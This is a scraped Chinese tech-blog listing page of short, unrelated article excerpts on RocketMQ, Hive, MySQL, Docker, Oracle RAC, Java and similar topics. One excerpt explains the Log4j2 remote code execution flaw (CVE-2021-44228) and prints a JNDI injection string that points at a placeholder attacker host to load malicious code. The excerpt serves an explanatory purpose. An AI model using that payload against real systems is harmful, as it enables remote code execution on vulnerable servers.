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A初夏1
rocketmq
mq部署方案1、rocketmq顺序消费记录一个master,一个brocker,多个group,多个topic,采用集群消费模式。注意一个group对应一个topic。生产者和消费者可以有多个,但是主题和分组都是一对一的。这样保证了消息在集群模式下的顺序存储和消费。Linux部署rocketmqcentos7参考资料:https://blog.csdn.net/YuanFudao/article
- 库卡机器人emd价格_KUKA库卡机器人备件
weixin_39793098
库卡机器人emd价格
该楼层疑似违规已被系统折叠隐藏此楼查看此楼库卡主机硬盘XP5.3.11库卡机器人控制柜主机硬盘00128506012017182C2硬盘库卡主板SUPER370SBAKUKA机器人主板,拆机板,SUPER370SBA安全回路板00-127-754库卡机器人KRC2CI3板00-127-754安全回路板库卡主板00-127-754库卡机器人KRC2CI3板00-127-754安全回路板库卡压缩机库卡
- python爬虫之爬取bing网页图片
纯小白菜鸟
pythonpython爬虫
frombs4importBeautifulSoup:导入BeautifulSoup库,用于解析HTML和XML文档。headers={...}:定义了一个请求头,它包含了一个User-Agent字符串,这个字符串告诉网站我们的请求是从哪种浏览器发出的。这有助于模拟真实的浏览器行为,有些网站可能会拒绝没有User-Agent的请求。sousuo=input('主人要看什么图片~:'):从用户那里获
- 用LLama factory时报类似Process 2504721 got signal: 1的解决方法
蛐蛐蛐
llama人工智能大模型
之前用nohup来远程跑LLamafactory微调脚本,是没有问题的,但今天发现运行类似下面这个命令时,nohupllamafactory-clitrainexamples/train_qlora/qwen_lora.yaml只要一关闭sshsession,就会终止训练,报类似:nohuptorch.distributed.elastic.multiprocessing.api.SignalEx
- Iterative Noncoherent Angular Superresolution论文阅读
青铜锁00
Radar论文阅读论文阅读
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- uni-app(vue2)组件动态传参问题
二七狂人
uni-app前端javascriptvue
场景说明在父组件中通过给子组件传递不同参数,在同一popup组件中展示不同数据。问题描述编译后在chrome浏览器中没问题,但在android真机环境会停在this.$nextTick的位置(通过console.log确定),不往下执行代码,控制台也无报错信息。父组件代码:importcommonPopupfrom'@/components/common-popup.vue';exportdefa
- day18学习numpy库
zhuyixiangyyds
numpy学习笔记
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- python中常用英语口语_课堂上,常用到的英语口语有哪些。?
大力.MAX001
python中常用英语口语
英语课堂用语400句一、Gettingthepupilsreadyforclass1.It'stimeforclass.上课时间到了。2.Let'sbeginourlesson.我们开始上课。3.Standup,please!请起立!4.Goodmorning,boysandgirls!大家早上好!5.IwillteachyouEnglishthisterm.这学期将由我教你们英语。6.Iamat
- 一小时刷完英语口语常用3000词汇(绿色护眼版)day11-词汇1001-1100
不懂事的小流氓
英语学习学习
原视频地址一小时刷完英语口语常用3000词汇(绿色护眼版)词汇100minenobodynonenothingourssomebodytheirthiersthemyoursasbelowbetweensincetowardunderuponwherewhomwhoseshallbyehellohiohactorappeardramaattendweddingcastlebelonggiantch
- 大数据(4.5)Hive聚合函数深度解析:从基础统计到多维聚合的12个生产级技巧
一个天蝎座 白勺 程序猿
大数据开发从入门到实战合集大数据hivehadoop
目录背景一、Hive聚合函数分类与语法1.基础聚合函数2.高级聚合函数二、6大核心场景与案例场景1:基础统计(SUM/COUNT)场景2:多维聚合(GROUPINGSETS)场景3:层次化聚合(ROLLUP)场景4:高效去重统计(HyperLogLog)场景5:分组排序(ROW_NUMBER)场景6:累计计算(窗口函数)三、避坑指南与性能优化1.常见错误2.数据倾斜解决方案3.参数调优模板四、总结
- UnboundLocalError: local variable referenced before assignment
庞庞庞庞
python学习笔记
写笔记的第二天,另外希望自己能慢慢打动自己的女神누나昨天,突然遇到了一个在函数内部修改全局变量却报错的问题,在网上查了下发现是经典问题,记一下日后慢慢消化。提醒自己,函数内部修改全局变量时要思考三遍,是否真的要修改一个代码段内都要用到的全局变量!D=''defgroup1(a,b):forcinrange(4):C='''%d=>array('limit'=>60,'id'=>%d,),'''%(
- 【Linux】远程登录时,使用图形界面报错:MoTTY X11 proxy: Unsupported authorisation protocol
郭老二
linuxlinux
1、问题描述使用MobaXterm远程登录Ubuntu后,使用sudo权限运行图形界面程序报错:MoTTYX11proxy:Unsupportedauthorisationprotocol(gpartedbin:10518):Gtk-WARNING**:22:01:34.377:cannotopendisplay:localhost:10.02、查看SSH配置修改SSH服务端配置,在Ubuntu服
- AI三大灵魂拷问,你敢应吗?
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![Uploadingfile...]()《数据资产管理白皮书》下载地址:https://www.dtstack.com/resources/1073/?src=bbs《行业指标体系白皮书》下载地址:https://www.dtstack.com/resources/1057/?src=bbs《数据治理行业实践白皮书》下载地址:https://www.dtstack.com/resources/1
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江上清风山间明月
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文章目录9.与原生交互(下)9.3优化原生交互性能9.3.1减少跨平台通信次数9.3.2使用`EventChannel`实现流式通信9.3.3使用`BackgroundIsolate`处理耗时任务9.4处理复杂的原生交互场景9.4.1使用`PlatformView`嵌入原生UI9.4.2使用`FlutterEngineGroup`实现多引擎总结9.与原生交互(下)在上一部分中,我们介绍了如何使用M
- Linux文件和目录操作函数
贪心的鬼
Linux基本操作linux
Linux文件和目录操作函数1.文件操作1.1stat/lstat函数1.1.1描述1.1.2获取文件大小1.1.3判断文件类型1.1.4lstat函数1.2access函数1.3chmod函数和chown函数1.4truncate函数2.目录操作2.1目录属性相关的函数2.2目录遍历相关的函数3.dup、dup2和fcntl函数2021年5月22日,袁老、吴老走了,愿他们在下一个轮回里平安幸福。
- MYSQL-常用的单行函数:数值函数与字符串函数
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文章目录数值函数ABS(X)SIGN(X)PI()CEIL(X)/CEILING(X)FLOOR(X)MOD()RAND()ROUND()TRUNCATE()其他函数字符串函数ASCII(str)CHAR_LENGTH()LENGTH()UPPER(str)LOWER(str)CONCAT(str1,str2,...)CONCAT_WS(separator,str1,str2,...)REPLAC
- Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)
白8080
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漏洞描述:当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中包含有语句${jndi:ldap:attacker:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该url:ldap:attacker:1099/exp受害主机访问伪造的ldap服务,访问恶意java.class类,执行恶意代码。如果ldap没有解析成功会自动访问http
- spring-kafka消费者源码详解
泡泡成长之路
java-springjavajavaspringkafka
@EnableKafka注解此注解会import一个类KafkaBootstrapConfiguration,这个类会创建2个bean:KafkaListenerAnnotationBeanPostProcessor和KafkaListenerEndpointRegistry@ConfigurationpublicclassKafkaBootstrapConfiguration{@Suppress
- Jupyter Notebook常用总结笔记
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开发工具jupyter笔记ide
1.在JupyterNotebook中切换环境首先创建好虚拟环境,这里以myenv为名激活环境:condaactivatemyenv安装ipykernel:在激活的环境中安装ipykernel,这样你就可以在JupyterNotebook中看到这个环境。condainstallipykernel为环境注册kernel:(这一步可以不做,直接做下一步)python-mipykernelinstall
- 大模型——手把手教你在macos上部署Ragflow
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大模型macos大模型人工智能ragflow
大模型——Ragflowmacos部署首先我们去克隆代码gitclonehttps://github.com/infiniflow/ragflow.git我们在README文件中会看到下面一段描述,也就是官方是支持了x86CPU和NvidiaGPU的,但是没有支持ARM64Weofficiallysupportx86CPUandNvidiaGPU,andthisdocumentoffersinst
- MongoDB mapReduce使用
guoqianqian5812
Mongodbmapreducemongodb
转载自:http://blog.csdn.net/qqiabc521/article/details/6330783MongoDB的MapReduce相当于Mysql中的group使用MapReduce要实现两个函数MapFunction和ReduceFunction在调用mapReduce时需要用到这两个函数db.things.mapReduce(MapFunction,ReduceFuncti
- 笔记:docker安装(ubuntu 20.04)
jingjingjing1111
笔记docker容器
sudoaptupdate#sudo:以超级用户权限运行命令。aptupdate:更新APT软件包管理器的软件源列表,确保安装的是最新版本的软件。sudoaptinstalldocker.io-y#aptinstalldocker.io:安装Docker;-y:自动确认安装(否则安装过程中会提示你输入Y/N进行确认)sudosystemctlenable--nowdocker#systemctle
- Mint Blockchain 推出生态基金 Mint Eco Fund,助力开发者生态发展
web3区块链
MintBlockchain,一个创新的L2网络,其目标旨在用NFT链接全球消费者。作为OptimismSuperchain的核心组成部分,MintBlockchain将通过高效、低成本的L2架构,为NFT的创新、应用和普及提供强大支持,并推动全球区块链生态的繁荣。为了加速繁荣的开发者生态系统的成长,MintBlockchain正式推出了MintEcoFund,这一开发基金的总资金池为50M$MI
- BUG: scheduling while atomic 分析【转】
嵌入式小庄老师
bugjava前端servlet开发语言
本文转载自:https://blog.csdn.net/cfy_phonex/article/details/12090943遇到一个典型的schedule问题。[26578.636839]C1[swapper/1]BUG:schedulingwhileatomic:swapper/1/0/0x00000002[26578.636869]C0[kworker/u:1]CPU1isup[26578.
- RISC-V AIA学习3---APLIC第三部分
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risc-v学习
1.ResetAPLIC复位后,其所有状态都变得有效且一致,但以下情况除外:a.每个中断域的domaincfg寄存器;b.可能是machine-levelinterruptdomain的MSI地址配置寄存器;c.每个中断域的genmsi寄存器的Busy位(如果存在)。以上这几种情况,在APLIC复位后,需要根据这些寄存器的具体定义来确定。不管APLIC其他部分的状态怎么变,这几个特定的寄存器或寄存
- Scheduling while atomic
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"Schedulingwhileatomic"indicatesthatyou'vetriedtosleepsomewherethatyoushouldn't-likewithinaspinlock-protectedcriticalsectionoraninterrupthandler.改进程序,在计时器里使用了workqueue,搞定问题。顺便把workqueue的实现代码总结了一下一、wor
- DeepSeek观察:全球避险情绪升温与金价突破$3165现象研究
金融小师妹
人工智能大数据
一、黄金价格突破历史极值的数据特征(一)实时价格运动轨迹追踪依据上海黄金交易所Level-2行情系统显示,4月3日亚市开盘阶段,国际现货金价以3142.1美元/盎司跳空高开,7:28触及3165.35美元日内高点,较3月31日结算价上涨30.7美元,创1975年布雷顿森林体系瓦解以来最高纪录。该价格突破经CMEGroup、伦敦金银市场协会(LBMA)双源数据交叉验证。(二)技术性突破指标验证运用量
- MySQL增删改查(CRUD)操作详解与实战指南
爱吃喵的鲤鱼
mysql数据库
目录一、引言二、CRUD基础操作1.数据插入(Create)全列插入与指定列插入冲突处理:插入否则更新替换操作2.数据查询(Retrieve)基础查询条件筛选(WHERE)排序与分页3.数据更新(Update)4.数据删除(Delete)三、聚合函数与分组查询1.常用聚合函数示例2.分组查询(GROUPBY)四、实战应用场景1.去重与数据迁移2.分页查询优化3.处理复杂条件五、面试重点:SQL执行
- 《动手学深度学习》笔记1.1——Pytorch虚拟环境搭建
陈苏同学
深度学习笔记人工智能
目录1.参考资料1.1miniconda在Win上安装anaconda的安装1.2conda基础指令1.3jupyter与pytorch虚拟环境配置1.4一些补充2.我的成功经验2.1新开个虚拟环境2.2torch和torchvision的选择+下载2.3将三个镜像包(d2l,torch和torchvision)安装到虚拟环境3.拓展:调整/删除环境(+重装)3.1补充:删除包,重装包3.2卸载虚
- java解析APK
3213213333332132
javaapklinux解析APK
解析apk有两种方法
1、结合安卓提供apktool工具,用java执行cmd解析命令获取apk信息
2、利用相关jar包里的集成方法解析apk
这里只给出第二种方法,因为第一种方法在linux服务器下会出现不在控制范围之内的结果。
public class ApkUtil
{
/**
* 日志对象
*/
private static Logger
- nginx自定义ip访问N种方法
ronin47
nginx 禁止ip访问
因业务需要,禁止一部分内网访问接口, 由于前端架了F5,直接用deny或allow是不行的,这是因为直接获取的前端F5的地址。
所以开始思考有哪些主案可以实现这样的需求,目前可实施的是三种:
一:把ip段放在redis里,写一段lua
二:利用geo传递变量,写一段
- mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性
dcj3sjt126com
mysql
timestamp有两个属性,分别是CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP两种,使用情况分别如下:
1.
CURRENT_TIMESTAMP
当要向数据库执行insert操作时,如果有个timestamp字段属性设为
CURRENT_TIMESTAMP,则无论这
- struts2+spring+hibernate分页显示
171815164
Hibernate
分页显示一直是web开发中一大烦琐的难题,传统的网页设计只在一个JSP或者ASP页面中书写所有关于数据库操作的代码,那样做分页可能简单一点,但当把网站分层开发后,分页就比较困难了,下面是我做Spring+Hibernate+Struts2项目时设计的分页代码,与大家分享交流。
1、DAO层接口的设计,在MemberDao接口中定义了如下两个方法:
public in
- 构建自己的Wrapper应用
g21121
rap
我们已经了解Wrapper的目录结构,下面可是正式利用Wrapper来包装我们自己的应用,这里假设Wrapper的安装目录为:/usr/local/wrapper。
首先,创建项目应用
&nb
- [简单]工作记录_多线程相关
53873039oycg
多线程
最近遇到多线程的问题,原来使用异步请求多个接口(n*3次请求) 方案一 使用多线程一次返回数据,最开始是使用5个线程,一个线程顺序请求3个接口,超时终止返回 缺点 测试发现必须3个接
- 调试jdk中的源码,查看jdk局部变量
程序员是怎么炼成的
jdk 源码
转自:http://www.douban.com/note/211369821/
学习jdk源码时使用--
学习java最好的办法就是看jdk源代码,面对浩瀚的jdk(光源码就有40M多,比一个大型网站的源码都多)从何入手呢,要是能单步调试跟进到jdk源码里并且能查看其中的局部变量最好了。
可惜的是sun提供的jdk并不能查看运行中的局部变量
- Oracle RAC Failover 详解
aijuans
oracle
Oracle RAC 同时具备HA(High Availiablity) 和LB(LoadBalance). 而其高可用性的基础就是Failover(故障转移). 它指集群中任何一个节点的故障都不会影响用户的使用,连接到故障节点的用户会被自动转移到健康节点,从用户感受而言, 是感觉不到这种切换。
Oracle 10g RAC 的Failover 可以分为3种:
1. Client-Si
- form表单提交数据编码方式及tomcat的接受编码方式
antonyup_2006
JavaScripttomcat浏览器互联网servlet
原帖地址:http://www.iteye.com/topic/266705
form有2中方法把数据提交给服务器,get和post,分别说下吧。
(一)get提交
1.首先说下客户端(浏览器)的form表单用get方法是如何将数据编码后提交给服务器端的吧。
对于get方法来说,都是把数据串联在请求的url后面作为参数,如:http://localhost:
- JS初学者必知的基础
百合不是茶
js函数js入门基础
JavaScript是网页的交互语言,实现网页的各种效果,
JavaScript 是世界上最流行的脚本语言。
JavaScript 是属于 web 的语言,它适用于 PC、笔记本电脑、平板电脑和移动电话。
JavaScript 被设计为向 HTML 页面增加交互性。
许多 HTML 开发者都不是程序员,但是 JavaScript 却拥有非常简单的语法。几乎每个人都有能力将小的
- iBatis的分页分析与详解
bijian1013
javaibatis
分页是操作数据库型系统常遇到的问题。分页实现方法很多,但效率的差异就很大了。iBatis是通过什么方式来实现这个分页的了。查看它的实现部分,发现返回的PaginatedList实际上是个接口,实现这个接口的是PaginatedDataList类的对象,查看PaginatedDataList类发现,每次翻页的时候最
- 精通Oracle10编程SQL(15)使用对象类型
bijian1013
oracle数据库plsql
/*
*使用对象类型
*/
--建立和使用简单对象类型
--对象类型包括对象类型规范和对象类型体两部分。
--建立和使用不包含任何方法的对象类型
CREATE OR REPLACE TYPE person_typ1 as OBJECT(
name varchar2(10),gender varchar2(4),birthdate date
);
drop type p
- 【Linux命令二】文本处理命令awk
bit1129
linux命令
awk是Linux用来进行文本处理的命令,在日常工作中,广泛应用于日志分析。awk是一门解释型编程语言,包含变量,数组,循环控制结构,条件控制结构等。它的语法采用类C语言的语法。
awk命令用来做什么?
1.awk适用于具有一定结构的文本行,对其中的列进行提取信息
2.awk可以把当前正在处理的文本行提交给Linux的其它命令处理,然后把直接结构返回给awk
3.awk实际工
- JAVA(ssh2框架)+Flex实现权限控制方案分析
白糖_
java
目前项目使用的是Struts2+Hibernate+Spring的架构模式,目前已经有一套针对SSH2的权限系统,运行良好。但是项目有了新需求:在目前系统的基础上使用Flex逐步取代JSP,在取代JSP过程中可能存在Flex与JSP并存的情况,所以权限系统需要进行修改。
【SSH2权限系统的实现机制】
权限控制分为页面和后台两块:不同类型用户的帐号分配的访问权限是不同的,用户使
- angular.forEach
boyitech
AngularJSAngularJS APIangular.forEach
angular.forEach 描述: 循环对obj对象的每个元素调用iterator, obj对象可以是一个Object或一个Array. Iterator函数调用方法: iterator(value, key, obj), 其中obj是被迭代对象,key是obj的property key或者是数组的index,value就是相应的值啦. (此函数不能够迭代继承的属性.)
- java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树
bylijinnan
二叉排序树
import java.util.LinkedList;
public class CreateBSTfromSortedArray {
/**
* 题目:给定一个排序数组,如何构造一个二叉排序树
* 递归
*/
public static void main(String[] args) {
int[] data = { 1, 2, 3, 4,
- action执行2次
Chen.H
JavaScriptjspXHTMLcssWebwork
xwork 写道 <action name="userTypeAction"
class="com.ekangcount.website.system.view.action.UserTypeAction">
<result name="ssss" type="dispatcher">
- [时空与能量]逆转时空需要消耗大量能源
comsci
能源
无论如何,人类始终都想摆脱时间和空间的限制....但是受到质量与能量关系的限制,我们人类在目前和今后很长一段时间内,都无法获得大量廉价的能源来进行时空跨越.....
在进行时空穿梭的实验中,消耗超大规模的能源是必然
- oracle的正则表达式(regular expression)详细介绍
daizj
oracle正则表达式
正则表达式是很多编程语言中都有的。可惜oracle8i、oracle9i中一直迟迟不肯加入,好在oracle10g中终于增加了期盼已久的正则表达式功能。你可以在oracle10g中使用正则表达式肆意地匹配你想匹配的任何字符串了。
正则表达式中常用到的元数据(metacharacter)如下:
^ 匹配字符串的开头位置。
$ 匹配支付传的结尾位置。
*
- 报表工具与报表性能的关系
datamachine
报表工具birt报表性能润乾报表
在选择报表工具时,性能一直是用户关心的指标,但是,报表工具的性能和整个报表系统的性能有多大关系呢?
要回答这个问题,首先要分析一下报表的处理过程包含哪些环节,哪些环节容易出现性能瓶颈,如何优化这些环节。
一、报表处理的一般过程分析
1、用户选择报表输入参数后,报表引擎会根据报表模板和输入参数来解析报表,并将数据计算和读取请求以SQL的方式发送给数据库。
2、
- 初一上学期难记忆单词背诵第一课
dcj3sjt126com
wordenglish
what 什么
your 你
name 名字
my 我的
am 是
one 一
two 二
three 三
four 四
five 五
class 班级,课
six 六
seven 七
eight 八
nince 九
ten 十
zero 零
how 怎样
old 老的
eleven 十一
twelve 十二
thirteen
- 我学过和准备学的各种技术
dcj3sjt126com
技术
语言VB https://msdn.microsoft.com/zh-cn/library/2x7h1hfk.aspxJava http://docs.oracle.com/javase/8/C# https://msdn.microsoft.com/library/vstudioPHP http://php.net/manual/en/Html
- struts2中token防止重复提交表单
蕃薯耀
重复提交表单struts2中token
struts2中token防止重复提交表单
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 2015年7月12日 11:52:32 星期日
ht
- 线性查找二维数组
hao3100590
二维数组
1.算法描述
有序(行有序,列有序,且每行从左至右递增,列从上至下递增)二维数组查找,要求复杂度O(n)
2.使用到的相关知识:
结构体定义和使用,二维数组传递(http://blog.csdn.net/yzhhmhm/article/details/2045816)
3.使用数组名传递
这个的不便之处很明显,一旦确定就是不能设置列值
//使
- spring security 3中推荐使用BCrypt算法加密密码
jackyrong
Spring Security
spring security 3中推荐使用BCrypt算法加密密码了,以前使用的是md5,
Md5PasswordEncoder 和 ShaPasswordEncoder,现在不推荐了,推荐用bcrpt
Bcrpt中的salt可以是随机的,比如:
int i = 0;
while (i < 10) {
String password = "1234
- 学习编程并不难,做到以下几点即可!
lampcy
javahtml编程语言
不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。
1、确定目标
学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到
- 架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)
nannan408
right join
1.前言。
如题。
2.代码
(1)单表查重复数据,根据a分组
SELECT m.a,m.b, INNER JOIN (select a,b,COUNT(*) AS rank FROM test.`A` A GROUP BY a HAVING rank>1 )k ON m.a=k.a
(2)多表查询 ,
使用改为le
- jQuery选择器小结 VS 节点查找(附css的一些东西)
Everyday都不同
jquerycssname选择器追加元素查找节点
最近做前端页面,频繁用到一些jQuery的选择器,所以特意来总结一下:
测试页面:
<html>
<head>
<script src="jquery-1.7.2.min.js"></script>
<script>
/*$(function() {
$(documen
- 关于EXT
tntxia
ext
ExtJS是一个很不错的Ajax框架,可以用来开发带有华丽外观的富客户端应用,使得我们的b/s应用更加具有活力及生命力。ExtJS是一个用 javascript编写,与后台技术无关的前端ajax框架。因此,可以把ExtJS用在.Net、Java、Php等各种开发语言开发的应用中。
ExtJs最开始基于YUI技术,由开发人员Jack
- 一个MIT计算机博士对数学的思考
xjnine
Math
在过去的一年中,我一直在数学的海洋中游荡,research进展不多,对于数学世界的阅历算是有了一些长进。为什么要深入数学的世界?作为计算机的学生,我没有任何企图要成为一个数学家。我学习数学的目的,是要想爬上巨人的肩膀,希望站在更高的高度,能把我自己研究的东西看得更深广一些。说起来,我在刚来这个学校的时候,并没有预料到我将会有一个深入数学的旅程。我的导师最初希望我去做的题目,是对appe